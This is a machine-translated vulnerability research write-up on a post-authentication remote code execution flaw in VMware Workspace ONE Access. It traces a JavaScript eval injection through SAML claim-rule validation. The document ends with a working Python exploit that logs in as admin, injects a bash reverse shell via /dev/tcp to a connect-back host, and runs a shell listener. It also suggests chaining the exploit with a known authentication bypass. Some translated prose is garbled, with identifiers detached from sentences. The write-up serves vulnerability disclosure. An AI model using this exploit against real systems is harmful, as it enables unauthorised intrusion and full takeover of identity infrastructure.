介绍
2022 年,我针对 VMWare Workspace ONE Access 进行了研究,并发现了一个可由经过身份验证的管理员触发的远程代码执行漏洞。尽管身份验证是必需的,但过去的身份验证绕过漏洞已发布。顺便说一句,如果您对此类工作感兴趣,在 Trenchant,我们会针对各种有趣且具有挑战性的目标进行漏洞研究!
VMWare的供应商公告可在此处找到。
赋予动机
全链作者 | 血型 | RCE |
---|---|---|
mr_me | CVE-2022-22955 | CVE-2022-22960 |
Kai Zhao & Steven Yu | CVE-2022-22973 | ? |
Petrus Viet | CVE-2022-31659 | CVE-2022-31659 |
在我构建了 Hekate 0-click 漏洞(将身份验证绕过与其他漏洞链接在一起)之后,我看到 ToTU 安全团队的 Kai Zhao 和 Steven Yu 报告了 CVE-2022-22973,这是另一个没有链接任何远程代码执行的身份验证绕过。
后来,Petrus Viet 绕过了 CVE-2022-22973 的补丁(修补为 CVE-2022-31659),并将其与他发现的另一个远程代码执行漏洞 (CVE-2022-31659) 链接在一起。
一个新的RCE漏洞可以与赵凯和Steven Yu的身份验证绕过相结合,以实现未经身份验证的远程代码执行。VMWare非常努力地不允许任何身份验证后RCE漏洞,特别是因为这些缺陷已经在野外被利用了。
漏洞分析
一天深夜,我熬夜阅读了与 Java Bean 验证相关的漏洞,我意识到这是我最初在审核此目标时没有调查的领域。由于RCE可以完成完整的链条,我决定是时候最后一次潜入了。
在 Alvaro 的优秀帖子中,他提到要寻找的易受攻击的水槽带有部分控制的错误消息,所以我开始寻找这样一个水槽,这让我上课:javax.validation.ConstraintValidatorContext.buildConstraintViolationWithTemplate
com.vmware.horizon.catalog.validation.TypeInfoValidator
public abstract class TypeInfoValidator<A extends Annotation, T> implements ConstraintValidator<A, T>
{
...
@Override
public boolean isValid(@Nonnull final T t, @Nonnull final ConstraintValidatorContext constraintValidatorContext) {
...
for (final Pair<String, List<String>> errorMessage : this.errorMessages) {
final ConstraintValidatorContext.ConstraintViolationBuilder constraintViolationBuilder = constraintValidatorContext.buildConstraintViolationWithTemplate(errorMessage.getFirst()); // 1
for (final String errorMessageArg : errorMessage.getSecond()) {
constraintViolationBuilder.addNode(errorMessageArg);
}
constraintViolationBuilder.addConstraintViolation();
}
return this.errorMessages.size() == 0;
}
...
protected void addErrorMessage(@Nonnull final String errorMessageKey, final String... errorMessageArgs) { // 2
Preconditions.checkNotNull(errorMessageKey);
this.errorMessages.add((Pair<String, List<String>>)Pair.of(errorMessageKey, Lists.newArrayList(errorMessageArgs)));
}
在 [1] 处,验证器循环访问属性并从 获取第一个字符串值并继续调用 。我继续寻找任何调用 [2] 的内容,因为此方法填充了属性。errorMessages
HashSet
buildConstraintViolationWithTemplate
addErrorMessage
errorMessages
我没能找到任何有用的东西,当我在课堂上发现这个有趣的方法时,我正要放弃:TypeInfoValidator
protected void validateClaimTransformations(@Nonnull final List<ClaimTransformation> claimTransformations) {
final List<ErrorMessage> errorMessages = this.claimTransformationHelper.validateClaimTransformations(claimTransformations);
for (final ErrorMessage errorMessage : errorMessages) {
this.addErrorMessage(errorMessage.getErrorMessageKey(), errorMessage.getErrorMessageArgs()); // 3
}
}
当然,我想知道列表是如何派生的,以便影响 at [3] 的返回值。我潜入
课堂检查方法:errorMessages
getErrorMessageKey
com.vmware.horizon.catalog.utils.saml.transformation.ClaimTransformationHelper
validateClaimTransformations
@Component
public class ClaimTransformationHelper
{
...
private final ScriptEngine scriptEngine;
public ClaimTransformationHelper() {
this.scriptEngine = new ScriptEngineManager().getEngineByName("JavaScript");
}
...
@Nonnull
public List<ErrorMessage> validateClaimTransformations(@Nonnull final List<ClaimTransformation> claimTransformations) {
final List<ErrorMessage> errorMessages = new ArrayList<ErrorMessage>();
for (final ClaimTransformation claimTransformation : claimTransformations) {
final String value = claimTransformation.getValue();
final List<ClaimRule> claimRules = claimTransformation.getRules(); // 4
if (value != null && CollectionUtils.isNotEmpty(claimRules)) {
...
}
else {
...
final List<ClaimRule> rules = new ArrayList<ClaimRule>(claimRules); // 5
...
this.validateClaimRuleCondition(rules, claimTransformation.getName(), errorMessages); // 6
}
}
return errorMessages;
}
private void validateClaimRuleCondition(final List<ClaimRule> rules, final String name, final List<ErrorMessage> errorMessages) {
for (final ClaimRule claimRule : rules) {
if ("default".equals(claimRule.getCondition())) {
continue;
}
try {
Boolean.valueOf((boolean)this.scriptEngine.eval(claimRule.getCondition())); // 7
}
catch (Exception e) {
errorMessages.add(new ErrorMessage("claim.rules.condition.compilation.failed", new String[] { name, String.valueOf(claimRule.getOrder()) }));
}
}
}
在 [4] 处,代码遍历提供的并调用 。at [5] 被强制转换为 的实例并存储在 中。然后在 [6] 处,代码调用攻击者提供的 .claimTransformations
getRules
claimRules
ArrayList
ClaimRule
rules
validateClaimRuleCondition
rules
该方法在攻击者提供的实例上调用,该实例直接传递到 [7] 处的接收器。由于 Java Bean 验证发生在用户提供的数据上,因此我们很可能可以使用有影响力的数据到达此注入接收器。getCondition
ClaimRule
scriptEngine.eval
达到验证声明规则条件
寻找呼叫,我发现了一些结果:validateClaimTransformations

第二个结果是公开该方法的类。com.vmware.horizon.catalog.validation.SamlTypeInfoValidator
validate
public abstract class SamlTypeInfoValidator<A extends Annotation, S extends SamlAuthInfo> extends TypeInfoValidator<A, S>
{
protected void validate(@Nonnull final SamlAuthInfo samlAuthInfo) {
...
if (samlAuthInfo.getNameIdClaimTransformation() != null) {
this.validateClaimTransformations(Arrays.asList(samlAuthInfo.getNameIdClaimTransformation()));
}
...
}
}
这由两个子 Bean 验证类及其实现调用。Saml11TypeInfoValidator
Saml20TypeInfoValidator
isValid
@Component
public class Saml11TypeInfoValidator extends SamlTypeInfoValidator<ValidSaml11TypeInfo, Saml11AuthInfo>
{
@Override
protected void isValid(@Nonnull final Saml11AuthInfo saml11AuthInfo) {
Preconditions.checkNotNull(saml11AuthInfo);
super.validate(saml11AuthInfo);
}
}
在这一点上,我开始寻找带有任何注释或 .@ValidSaml11TypeInfo
@ValidSaml20TypeInfo
@ValidWSFed12TypeInfo
这些类和所有类都实现自定义 Bean 验证器作为注解。com.vmware.horizon.api.v2.catalog.Saml11AuthInfo
com.vmware.horizon.api.v2.catalog.Saml20AuthInfo
com.vmware.horizon.api.v2.catalog.wsfed.WSFed12ResourceInfo
@ValidSaml11TypeInfo
public final class Saml11AuthInfo extends SamlAuthInfo
{
@ValidSaml20TypeInfo
public final class Saml20AuthInfo extends SamlAuthInfo
{
@ValidWSFed12TypeInfo
public final class WSFed12ResourceInfo extends WSFedResourceInfo
{
寻求验证
此时,我们有三个类可以到达易受攻击的接收器,需要验证这些类才能到达该接收器。经过一番搜索,我在
类内部发现了一个在 bean 服务初始化后调用的 at [8]:@PostConstruct
com.vmware.horizon.catalog.impl.CatalogServiceImpl
catalogService
@Service("catalogService")
@Transactional(propagation = Propagation.REQUIRED)
public class CatalogServiceImpl implements CatalogService
{
...
@PostConstruct
public void initValidation() { // 8
this.validator.addDynamicConstraintValidation(ValidSaml11TypeInfo.class, Saml11TypeInfoValidator.class);
this.validator.addDynamicConstraintValidation(ValidSaml20TypeInfo.class, Saml20TypeInfoValidator.class);
this.validator.addDynamicConstraintValidation(ValidWSFed12TypeInfo.class, WSFed12TypeInfoValidator.class);
this.validator.addDynamicConstraintValidation(ValidWebAppLinkTypeInfo.class, WebAppLinkTypeInfoValidator.class);
this.validator.addDynamicConstraintValidation(AdapterInstalled.class, AdapterInstalledValidator.class);
}
经过更多搜索,我发现抽象类实现了这个服务:com.vmware.horizon.catalog.rest.resource.AbstractCatalogResource
public abstract class AbstractCatalogResource extends AbstractResource
{
public static final boolean DO_NOT_USE_ABSOLUTE_URL = false;
@Autowired
protected CatalogService catalogService; // 9
在 [9] 处,我们看到类自动连接 .自然,我随后寻找了儿童类,我发现了两个有趣的例子:CatalogService
AbstractCatalogResource

这些很有趣,因为它们使用包中的以下三种类型:com.vmware.horizon.catalog.rest.media
Saml11CatalogItem
Saml20CatalogItem
WSFed12CatalogItem
这些类型公开映射回其关联类型的 JSON 属性。例如,让我们检查类:AuthInfo
Saml20CatalogItem
@XmlRootElement(namespace = "http://www.vmware.com/hws/v2.0")
@XmlType(namespace = "http://www.vmware.com/hws/v2.0")
public class Saml20CatalogItem extends AbstractCatalogItem
{
public static final String MEDIA_TYPE_NAME = "application/vnd.vmware.horizon.manager.catalog.saml20+json";
@JsonProperty("authInfo")
private Saml20AuthInfo authInfo; // 10
暴露
查看该类,我们可以找到几种公开易受攻击的接收器的方法:com.vmware.horizon.catalog.rest.resource.CatalogItemsResource
@Path("/catalogitems")
@Component
@Scope("prototype")
@RolesAllowed({ "admin" }) // 11
public class CatalogItemsResource extends AbstractCatalogResource
{
private static final boolean VALIDATE = true;
...
@POST
@Consumes({ "application/vnd.vmware.horizon.manager.catalog.saml11+json" })
@Produces({ "application/vnd.vmware.horizon.manager.catalog.saml11+json" })
@TypeHint(Saml11CatalogItem.class)
@ProtectedApi(providerId = "ctg:CatalogItemWebApp", provideRequestBody = true)
public Response createSaml11CatalogItem(final Saml11CatalogItem catalogItem, @QueryParam("validate") @DefaultValue("true") final boolean validate) throws BadRequestException {
return this.createCatalogItem(catalogItem, "application/vnd.vmware.horizon.manager.catalog.saml11+json", validate);
}
@POST
@Consumes({ "application/vnd.vmware.horizon.manager.catalog.saml20+json" })
@Produces({ "application/vnd.vmware.horizon.manager.catalog.saml20+json" })
@TypeHint(Saml20CatalogItem.class)
@ProtectedApi(providerId = "ctg:CatalogItemWebApp", provideRequestBody = true)
public Response createSaml20CatalogItem(final Saml20CatalogItem catalogItem, @QueryParam("validate") @DefaultValue("true") final boolean validate) throws BadRequestException {
return this.createCatalogItem(catalogItem, "application/vnd.vmware.horizon.manager.catalog.saml20+json", validate);
}
在 [11] 处,用户需要处于管理员级别才能到达此端点,但是,过去此应用程序中存在多个身份验证绕过,这些绕过可能与此漏洞链接在一起。
另请注意,此处并未列出所有访问易受攻击代码的方法。我提供了两个作为概念证明。
概念验证
此 PoC 需要目标的主机名和管理员凭据。使用 CVE-2022-22973 链接是读者🙂的练习
自动化
#!/usr/bin/env python3
import re
import sys
import socket
import requests
from telnetlib import Telnet
from threading import Thread
from colorama import Fore, Style, Back
from urllib3 import disable_warnings, exceptions
from urllib.parse import urlparse
disable_warnings(exceptions.InsecureRequestWarning)
def login(t, u , p):
r = requests.get(f"https://{t}/SAAS/auth/login", verify=False, allow_redirects=False)
m = re.search("protected_state\" value=\"([a-zA-Z0-9]*)\"", r.text)
assert m, "(-) cannot find protected_state!"
s = requests.Session()
s.post(f"https://{t}/SAAS/auth/login/embeddedauthbroker/callback", data={
"protected_state": m.group(1),
"username": u,
"password": p
}, verify=False)
return s
def trigger_rce(t, rhost, rport, s):
j = {
"catalogItemType":"Saml11",
"authInfo": {
"type":"Saml11",
"configureAs":"manual",
"nameIdClaimTransformation":{
"name":"",
"format":"",
"rules":[
{
"condition":f"java.lang.Runtime.getRuntime().exec(\"sh -c $@|sh . echo bash -i >& /dev/tcp/{rhost}/{rport} 0>&1\");",
"order":1337,
"action":{
"name":"prefix",
"args":[]
}
}
]
}
}
}
s.headers.update({
'content-Type': 'application/vnd.vmware.horizon.manager.catalog.saml11+json'
})
r = s.post(f"https://{t}/SAAS/jersey/manager/api/catalogitems", json=j, verify=False)
assert "X-XSRF-TOKEN" in r.headers, "(-) cannot find csrf token!"
s.headers.update({'X-XSRF-TOKEN': r.headers['X-XSRF-TOKEN']})
s.post(f"https://{t}/SAAS/jersey/manager/api/catalogitems", json=j, verify=False)
def handler(lp):
print(f"(+) starting handler on port {lp}")
t = Telnet()
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(("0.0.0.0", lp))
s.listen(1)
conn, addr = s.accept()
print(f"(+) connection from {addr[0]}")
t.sock = conn
print(f"(+) {Fore.BLUE + Style.BRIGHT}pop thy shell!{Style.RESET_ALL}")
t.interact()
def main():
global rhost, rport
if len(sys.argv) != 4:
print("(+) usage: %s <hostname> <connectback> <admin creds>" % sys.argv[0])
print("(+) eg: %s target.tld 172.18.182.204 admin:Admin22#" % sys.argv[0])
sys.exit(1)
assert ":" in sys.argv[3], "(-) credentials need to be in user:pass format"
target = sys.argv[1]
rhost = sys.argv[2]
rport = 1337
if ":" in sys.argv[2]:
rhost = sys.argv[2].split(":")[0]
assert sys.argv[2].split(":")[1].isnumeric(), "(-) connectback port must be a number!"
rport = int(sys.argv[2].split(":")[1])
usr = sys.argv[3].split(":")[0]
pwd = sys.argv[3].split(":")[1]
s = login(target, usr, pwd)
handlerthr = Thread(target=handler, args=[rport])
handlerthr.start()
trigger_rce(target, rhost, rport, s)
if __name__ == "__main__":
main()

手动


堆栈跟踪
ClaimTransformationHelper.validateClaimRuleCondition(List<ClaimRule>, String, List<ErrorMessage>) line: 127
ClaimTransformationHelper.validateClaimTransformations(List<ClaimTransformation>) line: 114
Saml20TypeInfoValidator(TypeInfoValidator<A,T>).validateClaimTransformations(List<ClaimTransformation>) line: 171
Saml20TypeInfoValidator(SamlTypeInfoValidator<A,S>).validate(SamlAuthInfo) line: 34
Saml20TypeInfoValidator.isValid(Saml20AuthInfo) line: 36
Saml20TypeInfoValidator.isValid(Object) line: 18
Saml20TypeInfoValidator(TypeInfoValidator<A,T>).isValid(T, ConstraintValidatorContext) line: 75
ConstraintTree<A>.validateSingleConstraint(ValidationContext<T>, ValueContext<?,?>, ConstraintValidatorContextImpl, ConstraintValidator<A,V>) line: 447
ConstraintTree<A>.validateConstraints(ValidationContext<T>, ValueContext<?,V>, Set<ConstraintViolation<T>>) line: 128
ConstraintTree<A>.validateConstraints(ValidationContext<T>, ValueContext<?,?>) line: 88
MetaConstraint<A>.validateConstraint(ValidationContext<?>, ValueContext<?,?>) line: 73
ValidatorImpl.validateMetaConstraint(ValidationContext<?>, ValueContext<?,Object>, MetaConstraint<?>) line: 617
ValidatorImpl.validateConstraint(ValidationContext<?>, ValueContext<?,Object>, boolean, MetaConstraint<?>) line: 582
ValidatorImpl.validateConstraintsForSingleDefaultGroupElement(ValidationContext<?>, ValueContext<U,Object>, Map<Class<?>,Class<?>>, Class<? super U>, Set<MetaConstraint<?>>, Group) line: 528
ValidatorImpl.validateConstraintsForDefaultGroup(ValidationContext<?>, ValueContext<U,Object>) line: 496
ValidatorImpl.validateConstraintsForCurrentGroup(ValidationContext<?>, ValueContext<?,Object>) line: 461
ValidatorImpl.validateInContext(ValidationContext<T>, ValueContext<U,Object>, ValidationOrder) line: 411
ValidatorImpl.validateCascadedConstraint(ValidationContext<?>, ValueContext<?,Object>, Iterator<?>, boolean, ValidationOrder, Set<MetaConstraint<?>>) line: 757
ValidatorImpl.validateCascadedConstraints(ValidationContext<?>, ValueContext<?,Object>) line: 681
ValidatorImpl.validateInContext(ValidationContext<T>, ValueContext<U,Object>, ValidationOrder) line: 420
ValidatorImpl.validate(T, Class<?>...) line: 208
HorizonValidator.validate(T, Class<?>...) line: 67
CatalogServiceImpl.putResource(int, Resource) line: 382
CatalogServiceImpl.createResource(int, Resource) line: 325
GeneratedMethodAccessor1783.invoke(Object, Object[]) line: not available
DelegatingMethodAccessorImpl.invoke(Object, Object[]) line: 43
Method.invoke(Object, Object...) line: 498
AopUtils.invokeJoinpointUsingReflection(Object, Method, Object[]) line: 344
ReflectiveMethodInvocation.invokeJoinpoint() line: 198
ReflectiveMethodInvocation.proceed() line: 163
2024690047.proceedWithInvocation() line: not available [local variables unavailable]
TransactionInterceptor(TransactionAspectSupport).invokeWithinTransaction(Method, Class<?>, InvocationCallback) line: 367
TransactionInterceptor.invoke(MethodInvocation) line: 118
ReflectiveMethodInvocation.proceed() line: 186
ExposeInvocationInterceptor.invoke(MethodInvocation) line: 95
ReflectiveMethodInvocation.proceed() line: 186
JdkDynamicAopProxy.invoke(Object, Method, Object[]) line: 212
$Proxy1217.createResource(int, Resource) line: not available
CatalogItemsResource.createCatalogItem(int, Resource) line: 496
CatalogItemsResource.createCatalogItem(AbstractCatalogItem, String, boolean) line: 462
CatalogItemsResource.createSaml20CatalogItem(Saml20CatalogItem, boolean) line: 142